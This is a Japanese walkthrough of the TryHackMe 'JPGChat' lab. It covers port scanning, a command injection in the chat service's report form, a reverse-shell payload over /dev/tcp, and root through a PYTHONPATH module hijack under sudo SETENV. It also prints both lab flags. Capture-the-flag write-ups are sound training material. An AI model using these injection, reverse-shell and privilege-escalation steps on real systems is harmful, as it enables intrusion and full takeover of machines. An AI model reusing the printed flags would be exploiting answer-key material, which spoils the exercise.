【TryHackMe】JPGChat：Walkthrough

# 概要

TryHackMe「JPGChat」のWalkthroughです。

https://tryhackme.com/r/room/jpgchat

# Task1

## **Q1**.*Establish a foothold and get user.txt*

**Hint**.*Can you get the applications source code, this can be found at the admins github. Where could we be able to find the admins name? Check out the whole application.*

ポートスキャンを実行します。

```
$ nmap -Pn -T4 -sVC -A -p- 10.10.190.40 -oN nmap_result
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 fe:cc:3e:20:3f:a2:f8:09:6f:2c:a3:af:fa:32:9c:94 (RSA)
|   256 e8:18:0c:ad:d0:63:5f:9d:bd:b7:84:b8:ab:7e:d1:97 (ECDSA)
|_  256 82:1d:6b:ab:2d:04:d5:0b:7a:9b:ee:f4:64:b5:7f:64 (ED25519)
3000/tcp open  ppp?
| fingerprint-strings: 
|   GenericLines, NULL: 
|     Welcome to JPChat
|     source code of this service can be found at our admin's github
|     MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel
|_    REPORT USAGE: use [REPORT] to report someone to the admins (with proof)
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 7.2p2|
|3000|||

Netcatで`3000`番ポートにアクセスします。

```
$ nc 10.10.190.40 3000                                 
Welcome to JPChat
the source code of this service can be found at our admin's github
MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel
REPORT USAGE: use [REPORT] to report someone to the admins (with proof)
```

`[MESSAGE]`を送信することでメッセージを、`[REPORT]`を送信することでレポートを送信できるようです。

また、レポート機能から`Mozzie-jpg`という名前を得られました。

```
[MESSAGE]
There are currently 0 other users logged in
[MESSAGE]: hello

[REPORT]
this report will be read by Mozzie-jpg
your name:
a
your report:
a
```

Googleで名前を検索するとこのアプリケーションのGithubレポジトリを発見しました。

https://github.com/Mozzie-jpg/JPChat

ソースコードを見ます。
レポート機能で使用している`os.system()`からOSコマンドインジェクションが出来そうです。

```jpchat.py
def report_form():

	print ('this report will be read by Mozzie-jpg')
	your_name = input('your name:\n')
	report_text = input('your report:\n')
	os.system("bash -c 'echo %s > /opt/jpchat/logs/report.txt'" % your_name)
	os.system("bash -c 'echo %s >> /opt/jpchat/logs/report.txt'" % report_text)
```

`&`でコマンドをつなげてpingの送信に成功しました。

```
[REPORT]
this report will be read by Mozzie-jpg
your name:
1&ping -c 1 10.6.55.144
your report:
"a"&ping -c 1 10.6.55.144
1
a
```

```
$ sudo tcpdump -i tun0 icmp                                 
[sudo] password for kali: 
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
09:05:29.141092 IP 10.10.190.40 > 10.6.55.144: ICMP echo request, id 1583, seq 1, length 64
09:05:29.141100 IP 10.6.55.144 > 10.10.190.40: ICMP echo reply, id 1583, seq 1, length 64
09:05:29.384347 IP 10.10.190.40 > 10.6.55.144: ICMP echo request, id 1587, seq 1, length 64
09:05:29.384355 IP 10.6.55.144 > 10.10.190.40: ICMP echo reply, id 1587, seq 1, length 64
```

リバースシェルを張ります。
ペイロードを送信しシェルを取得できました。

```
[REPORT]
this report will be read by Mozzie-jpg
your name:
1&bash -i >& /dev/tcp/10.6.55.144/12345 0>&1;
```

```
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.190.40] 58250
bash: cannot set terminal process group (1767): Inappropriate ioctl for device
bash: no job control in this shell
wes@ubuntu-xenial:/$ whoami
whoami
wes
```

TTYの設定をします。

```
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
```

`/home/wes/user.txt`からユーザーフラグを入手できました。

```
$ cat user.txt
cat user.txt
JPC{487030410a543503cbb59ece16178318}
```

**A**.**JPC{487030410a543503cbb59ece16178318}**

## **Q2**.*Escalate your privileges to root and read root.txt*

**Hint**.*In the sudo -l output, you can see that PYTHONPATH variable will be kept. Can you exploit this? Google around*

`sudo -l`を確認すると、`SETENV`が設定されており`/opt/development/test_module.py`が実行できると分かりました。

```
$ sudo -l
sudo -l
Matching Defaults entries for wes on ubuntu-xenial:
    mail_badpass, env_keep+=PYTHONPATH

User wes may run the following commands on ubuntu-xenial:
    (root) SETENV: NOPASSWD: /usr/bin/python3 /opt/development/test_module.py
```

`/opt/development/test_module.py`の処理を確認すると`compare`モジュールを読み込んでプログラムを実行しています。

```/opt/development/test_module.py
#!/usr/bin/env python3

from compare import *

print(compare.Str('hello', 'hello', 'hello'))
```


このことから`SETENV`で`PYTHONPATH`を変更し悪意ある`compare.py`モジュールを読み込ませて実行する事が出来そうです。

`/tmp`に`compare.py`を作成します。

```
$ echo "import os;os.system('chmod u+s /bin/bash')" > compare.py
```

`PYTHONPATH=/tmp`を指定し、`/tmp/compare.py`を読み込ませるようにして`/opt/development/test_module.py`を実行します。

```
$ sudo PYTHONPATH=/tmp /usr/bin/python3 /opt/development/test_module.py
```

`/bin/bash`を確認するとSUIDが設定されています。

```
$ ls -al /bin/bash
ls -al /bin/bash
-rwsr-xr-x 1 root root 1037528 Jul 12  2019 /bin/bash
```

`-p`オプションでrootに昇格出来ました。

```
$ /bin/bash -p
/bin/bash -p
bash-4.3# whoami
whoami
root
```

`/root/root.txt`からルートフラグを入手できました。

```
bash-4.3# cat /root/root.txt
cat /root/root.txt
JPC{665b7f2e59cf44763e5a7f070b081b0a}
```

**A**.**JPC{665b7f2e59cf44763e5a7f070b081b0a}**